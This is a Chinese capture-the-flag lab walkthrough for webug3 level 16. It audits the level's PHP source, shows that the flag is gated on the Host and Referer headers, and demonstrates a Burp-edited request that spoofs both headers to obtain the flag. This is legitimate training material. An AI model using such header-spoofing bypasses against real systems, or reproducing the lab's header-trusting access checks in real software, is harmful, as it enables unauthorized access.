目录
第十六关:明天双十一
(一)打开靶场
(二)源码分析
(三)渗透条件
(四)渗透实战
1. bp抓包
2. 改包渗透
第十六关:明天双十一
本文通过《webug3靶场第十六关 明天双十一》通过代码审计完成关卡的渗透实战。本关卡是需要通过代码审计,配置报文的http首部的refer和host字段才可以将报文修正。不过这一关卡靶场的开发对于渗透方法的理解也稍有不同,因为根据网页提示需要修改x-forwarded-for字段,源但是根据代码审计需要修改Host字段,这两者的区别会导致渗透方法稍有不同。
(一)打开靶场
如下所示打开靶场,第16关卡如下图红框所示,小标题为《明天双十一》,大标题为《我从公司网络去剁手了》,猜测本关卡与购物网站相关。
点击第16关,完整的URL网址链接如下。
http://192.168.71.1/webug3/pentest/test/12/
进入16关卡后,页面提示宝宝有钱想从公司去某个之王网站剁手,页面如下所示。
根据提示双十一去淘宝剁手,在网站地方输入淘宝网址。
www.taobao.com
输入后页面提示只允许10.10.10.10访问具体如下所示。
猜测绕过需要将字段修改为如下内容x-forwarded-for:10.10.10.10。
(二)源码分析
根据源码,需要满足$_SERVER['HTTP_REFERER'],"www.topsec.com.cn"才可以渗透出flag
<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
if(isset($_POST["flag"]))
{$flag=$_POST["flag"];$flag = mysql_real_escape_string($flag);//防止SQL注入if(md5("263b4b51e98a64e8af1a95f8c60ad3aa")==md5($flag)){echo "<font color='green'>success,请记录您的flag</font>";}else{echo "<font color='red'>加油努力,快去剁手</font>";}
}else{$url=$_REQUEST['url'];
if($url!=null||$url!=""){if(strstr($url,"www.taobao.com")){if($_SERVER['HTTP_HOST']=="10.10.10.10"){if(strstr($_SERVER['HTTP_REFERER'],"www.topsec.com.cn")){if(strstr($_SERVER['HTTP_REFERER'],"www.topsec.com.cn")){echo "剁手了,请记录截图!!!flag:83242lkjKJ(*&*^*&k0"."<br/>";}else{echo "不想剁手了"."<br/>";}}else{echo "nono"."<br/>";}}else{echo "哎呀,这里只允许10.10.10.10访问!!!"."<br/>";}}else{echo "这个地方剁手不好,换个地方!";}
}
}?>
<!DOCTYPE html>
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<title>剁手党的天堂</title>
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
</head>
<body>
<hr/>
<form id="test" action="?" method="get" >
<label for="username">宝宝有钱想从公司去某个知名站剁手.</label>
<input type="text" id="url" name="url" size="60px">
<input type="submit" value="Go">
</form>
<hr/>
<form action="" method="post">
<label for="username">请输入flag.</label>
<input type="text" id="flag" name="flag" size="60px">
<input type="submit" value="Pass">
</form>
</body>
</html>
因为靶场的源码写的确实有点不规范,看起来有点乱,对与URL相关的代码进行规范化并进行代码注释,整理后的代码如下所示
<?php
// 从请求中获取名为 'url' 的参数值,并赋值给变量 $url
$url = $_REQUEST['url'];// 检查 $url 是否既不为 null 也不为空字符串
if ($url!== null && $url!== "") {// 检查 $url 中是否包含 'www.taobao.com'if (strstr($url, "www.taobao.com")) {// 检查当前服务器的主机名是否为 '10.10.10.10'if ($_SERVER['HTTP_HOST'] === "10.10.10.10") {// 检查 HTTP 请求的来源页面是否包含 'www.topsec.com.cn'if (strstr($_SERVER['HTTP_REFERER'], "www.topsec.com.cn")) {// 这里重复判断了,可优化,输出成功信息并给出 flagecho "剁手了,请记录截图!!!flag:83242lkjKJ(*&*^*&k0<br/>";} else {// 若来源页面不符合要求,输出不想剁手信息echo "不想剁手了<br/>";}} else {// 若主机名不符合要求,输出只允许指定主机访问的提示echo "哎呀,这里只允许10.10.10.10访问!!!<br/>";}} else {// 若 $url 不包含 'www.taobao.com',提示换个地方剁手echo "这个地方剁手不好,换个地方!";}
}
?>
(三)渗透条件
通过源码分析,我们可知上述代码会在满足以下所有条件的情况下输出 flag
:
$url
不为空:- 代码通过
$url = $_REQUEST['url'];
获取请求中的url
参数值,然后使用$url!= null && $url!= ""
来判断$url
既不是null
也不是空字符串。只有当$url
有实际值时,才会继续后续的判断。
- 代码通过
$url
包含www.taobao.com
:- 使用
strstr($url, "www.taobao.com")
函数来检查$url
中是否包含"www.taobao.com"
字符串。如果包含,则继续进行下一步判断。
- 使用
- 当前服务器主机名是
10.10.10.10
:- 通过
$_SERVER['HTTP_HOST'] == "10.10.10.10"
来判断当前服务器的主机名是否为"10.10.10.10"
。只有当主机名匹配时,才会继续后续判断。
- 通过
- HTTP 请求的来源页面包含
www.topsec.com.cn
:- 使用
strstr($_SERVER['HTTP_REFERER'], "www.topsec.com.cn")
来检查 HTTP 请求的来源页面(HTTP_REFERER
)是否包含"www.topsec.com.cn"
。如果满足这个条件,就会输出flag
信息。
- 使用
上一步我们根据页面提示《只允许10.10.10.10访问》本以为应该是修改x-forwarded-for字段,但是通过源码分析,我们可以指导这里要求$_SERVER['HTTP_HOST']=="10.10.10.10",这就有点问题了,猜测是写代码的开发人员对ip地址的误解。
(1)基于源码的代码审计,应该修改如下参数可以绕过
修改Referer:www.topsec.com.cn
修改Host:10.10.10.10
(2)按照页面提示《只允许10.10.10.10访问》含义,正常应该是修改如下两个参数
修改Referer:www.topsec.com.cn
添加x-forwarded-for:10.10.10.10
(四)渗透实战
1. bp抓包
在输入框内输入“www.taobao.com”并点击go,使用bp抓包并将报文发送到repeater。
2. 改包渗透
修改Referer:www.topsec.com.cn
修改Host:10.10.10.10
GET /webug3/pentest/test/12/?url=www.taobao.com HTTP/1.1
Host: 10.10.10.10
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: www.topsec.com.cn
Cookie: PHPSESSID=hv0us94ogmk1hg9i810trcjqu5
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
修改后点击Send,如下所示渗透成功获取到flag。